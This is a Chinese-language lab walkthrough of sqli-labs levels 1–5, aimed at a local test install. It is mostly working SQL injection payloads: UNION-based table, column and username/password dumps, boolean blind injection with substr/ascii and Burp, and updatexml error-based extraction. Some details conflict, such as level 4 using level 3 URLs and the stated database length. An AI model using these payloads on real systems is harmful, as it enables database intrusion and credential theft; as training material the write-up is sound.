第一关:
输入:http://127.0.0.1/sqli-labs-master/Less-1/?id=1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27--+
使用--+来闭合单引号,证明此处存在字符型的SQL注入。
使用order by 判断字段数:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20%20order%20by%203--+
在这里先使用order by 4 报错,在使用order by 3正常,证明此处字段数为3。
使用union select 判断注入点,使用?id=-1,目的是联合查询,即同时查询两个SQL语句,使用-1是让前面的语句报错,只输出后面的结果。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+
代表在2和3存在注入点,以选择任意一个进行注入:
直接爆数据库:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+
爆表名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆表名:' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆数据:' union select 1,group_concat(username),group_concat(password) from users--+
第二关:
输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
发现报错,删除单引号:
输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1
输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1' --+报错
输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --+正常
代表存在数字型的SQL注入
使用order by 判断字段数:
输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1order by 4--+报错
输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1order by 4--+正常
此处存在3个字段数:
后面和第一关一样操作即可,只需去掉第一关的单引号
第三关:
输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1'
输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1'--+
输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1--+依旧报错,此处和第一关和第二关都不同,使用')闭合,尝试报错
输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+
即证明此处存在SQL注入,
第四关:
输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1' --+正常
输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1") 报错
输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1")--+正常
证明存在SQL注入。
盲注
第五关:
输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1,发现返回的是you are in…,并未像之前一样返回了具体数据,因此可以判断是盲注类型的注入!
输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' 报错
输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1’--+正常返回的是you are in…
表明存在SQL注入,且为盲注型的SQL注入:
爆破数据库:
使用length判断长度:?id=1' and length(database())=8--+,这里8是判断数据的长度数,可依次尝试:
当数据库的长度为7时即报错:
知道数据库的长度为7,开始爆破数据库名,使用:
备注:substr(string ,a,b)表示,截取字符串string从第a位开始,截取b位
?id=1' and ascii(substr(database(),1,1))=115--+ //115对应的ascii码是s
使用burp进行抓包,暴力破解
设置攻击载荷
按照顺序将数字写下来,依次是:
115 101 99 117 114 105 116 121
对应ASCII码的值为:security
这里解释一下函数limit和substr
limit 0,1 #意思是从0个开始,获取第一个
substr(xxx,2,1) #意思是从字符串xxx的第2个字符开始,截取1个
办法二、使用updatexml函数:
输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(%27!%27,database(),%27!%27),1)--+
updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)
爆破列:
updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)
爆破数据:
updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)